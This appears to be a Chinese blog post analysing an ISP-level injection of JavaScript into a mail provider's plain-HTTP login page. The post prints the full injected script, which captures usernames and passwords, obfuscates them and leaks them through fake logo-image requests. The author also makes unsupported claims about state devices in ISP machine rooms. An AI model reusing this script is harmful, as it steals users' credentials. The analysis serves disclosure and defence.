国内某邮件服务商，近期在某南方地区有大量客户反应登录时出错和异常，于是工作人员进行了一下跟进，发现如下：
首先，邮件服务商登陆页面为普通HTTP协议发送，提交时通过JS进行RSA加密（没错，JS的RSA），发送到SSO登陆点，然后进行登录，有些人一看RSA，应该挺安全的了，不过……
在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了，原理很简单，大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10
在客户端抓包发现收到的HTTP数据包有异常，有几个包的TTL多了2，说明比正常从服务器到客户端的数据包少走了两跳，而且离服务器不是很远，估计在一个机房里，并且数据包的ID是很规律的12345，明显就是伪造的，包中插入了如下内容：
<script type="text/javascript">
document.getElementById("freepassword").onblur = function (e) {
logoFresh();
}; function onLoginCheck() {
var user = null;
var pass = null;
user = document.getElementById("freename").value;
pass = document.getElementById("freepassword").value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + '&' + pass + '&xxxxx.com');
}
}; function rskQuery(s) {
s = encodeURIComponent(s);
var r = Math.random();
var num = (Math.round(r * 100)) % 9 + 1;
var i = 0;
var out = '';
do {
var ch = s.charCodeAt(i++);
ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
out += l.toString() + ch;
} while (i < s.length);
out = r.toString().substring(0, num) + out + num;
return out;
}; function logoFresh() {
var h = logoUrl();
var s = onLoginCheck();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + 'images/logo_bg.jpg?' + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
var result = xmlHttpConnect(ajaxUrl, "get", null);
}; function logoUrl() {
return '/';
}; function createXMLHttp() {
if (window.XMLHttpRequest) return new XMLHttpRequest();
else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
else return null;
}; function xmlHttpConnect(url, method, content) {
var request = createXMLHttp();
if (request == null) return null;
try {
request.open(method, url, true);
request.send(content);
} catch (e) {
return null;
}
if ((request.readyState == 4) && (request.status == 200)) return null;
else return null
}; document.getElementById("vippassword").onblur = function (e) {
logo_Fresh();
} function onLoginPhone() {
var user = null;
var pass = null;
user = document.getElementById("vipname").value;
pass = document.getElementById("vippassword").value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
}
} function logo_Fresh() {
var h = logoUrl();
var s = onLoginPhone();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + 'images/logo_bg.jpg?' + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
var result = xmlHttpConnect(ajaxUrl, "get", null);
}
</script>
在登录form里抓取用户名和密码，当成参数跟在logo后面再访问一下logo，再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多 logo的请求后面跟着明文用户名密码吧，错了，服务商那边根本没看到logo被请求两次，推断是带有这个特征的数据包被drop了，真尼玛用心啊。
至此，用户的邮箱密码已经泄露，用户和服务商也没有任何察觉，可能由于某些原因，比如延迟，丢包，bug之类的，导致部分用户被插的时候有异常，影响了原有的登录js，才导致这次事件浮出水面。
服务商由于成本问题，暂不考虑采用SSL登录。
至于那边还有什么类似设备我就不多说了，反正据我的了解，国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备，据说连税务的都有。
关于本次事件学到的内容：
国内服务用的任何用户名和密码和在国外比如gmail，twitter的账号要不相同，而且没有任何关联，并且国外服务的注册邮箱，密保邮箱等都要采用国外邮箱，首推gmail，并且打开二次认证，不要用短信认证，用手机验证器。
线上线下密码要分开，不相同，不近似，比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露，HTTPS登录时每次手动查看证书签发机
构是否为之前常用的那一个，遇到怀疑是国内CA伪造证书的立刻把证书导出另存为，因为国内没有root
CA（cnnic的好像在ff和chrome已经被去掉了），只有二级证书机构，一旦被发现随便签证书会被立刻取消资格，并且黑名单推送到各大浏览器和操
作系统。
呵呵，你们以为能频繁的，多种花样的插12306就赢了么，你们以为每天在微博打打嘴炮就胜利了么，菊花都被爆脱肛了还不知道。